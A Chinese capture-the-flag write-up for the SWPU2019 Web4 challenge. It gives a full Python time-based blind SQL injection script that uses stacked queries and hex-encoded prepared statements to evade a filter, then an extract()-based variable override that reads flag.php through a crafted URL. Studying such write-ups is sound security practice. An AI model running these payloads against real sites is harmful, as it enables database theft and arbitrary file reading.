[SWPU2019]Web4

考点:PDO场景下的堆叠注入、时间盲注

打开题目叫你登录,不过任凭你怎么登录都会没有反应,注册说“未开放注册功能”

回头一抓包,发现我们向 /index.php?r=Login/Login 发送了一个数据包,这里可以注入,POST输入:

1
{"username":"1'","password":"123"}

页面会报错,但是我们输入:

1
{"username":"1';","password":"123"}

页面却没报错,同时说密码错误;

那么说明这道题可以堆叠注入。

尝试 1';show databases; 之类的操作,一直显示密码错误,猜测可能关键字被waf了,因为是堆叠,我们可以参考新春战疫的一道堆叠注入(当时也是PDO),使用预编译+16进制编码绕过waf。

而且页面不会根据我们输入情况回显不同,那么就用时间盲注;

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# by wh1sper
# 时间盲注
import requests
import time

host = 'http://fe683617-4ef1-4c6a-8332-febe7058c07e.node3.buuoj.cn/index.php?r=Login/Login'


def mid(bot, top):
return (int)(0.5 * (top + bot))

def char_to_hex(str):
res = ''
for i in str:
res += hex(ord(i))
res = '0x' + res.replace('0x', '')
return res


def sqli():
name = ''
for j in range(1, 250):
top = 126
bot = 32
while 1:
#babyselect = 'database()'#--->ctf
#babyselect = '(select group_concat(table_name) ' \
# 'from information_schema.tables where table_schema=database())'#---flag
# babyselect = '(select group_concat(column_name) ' \
# 'from information_schema.columns where table_name='flag')'#--->flag
babyselect = '(select flag from flag)'#--->glzjin_wants_a_girl_friend.zip
select = "select if((ascii(substr(" +babyselect+ ",{},1))> {}),sleep(3),1);"\
.format(j, mid(bot, top))
playload = "1';set @a="+ char_to_hex(select) +";PREPARE test from @a;execute test;"

data = {
"username": playload,
"password": "1"
}
print(mid(bot, top))
start_time = time.time()
r = requests.post(url=host, json=data)
end_tmie = time.time()
#print(r.text)
if end_tmie - start_time > 1.5: # 成功
if top - 1 == bot: # top和bot相邻,说明name是top
name += chr(top)
print(name)
break
bot = mid(bot, top) # 成功就上移bot
else: # 失败
if top - 1 == bot: # top和bot相邻,加上失败,说明name是bot
name += chr(bot)
print(name)
break
top = mid(bot, top) # 失败就下移top


if __name__ == '__main__':
sqli()

得到:glzjin_wants_a_girl_friend.zip

然后看的出来是个文件,访问下载之,得到网站源码。 很明显,我们要通过某种方法将flag.php中的文件内容给读取出来。

这是个MVC模型,首先了解一下该框架下url的解析过程:

  • 从r参数中获取要访问的 Controller 以及 Action ,然后以 / 分隔开后拼接成完整的控制器名。 以 Login/Index 为例,就是将 Login/Index 分隔开分别拼接成 LoginController 以及 actionIndex ,然后调用 LoginController 这个类中的 actionIndex 方法。每个 action 里面会调用对应的 loadView() 方法进行模版渲染,然后将页面返回给客户端。 若访问的 Controller 不存在则默认解析 Login/Index

这样我们就应该先来审计控制器的代码。

不难发现,在BaseController中有着这么一段明显有问题的代码

1
2
3
4
5
6
7
8
9
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

这段代码中使用了 extract() ,以及包含了 /View/{$viewName}.php ,也就是说我们能通过 $viewName$viewData 这两个变量来更改 /View 下任何一个php文件的任何一个变量的值。

在UserController中找到了以下代码:

1
2
3
4
5
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

可以看出来,其中 $listData 是从请求中获取,用户可控,而其对应的 /View/userIndex.php 中存在一个文件读取:

1
2
3
4
5
6
7
8
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>

其中 imgToBase64() 实现的是将目标文件转化成base64格式。而我们只需要将 $img_file 改成 /flag.php 即可。

访问 http://ip/index.php?r=User/Index&img_file=/../flag.php 即可获得flag的base64

flag{51ca227a-c6d5-4515-bed7-abdea8385e8a}

参考链接:

https://blog.wh1sper.com/posts/swpu2019-%E5%A4%8D%E7%8E%B0/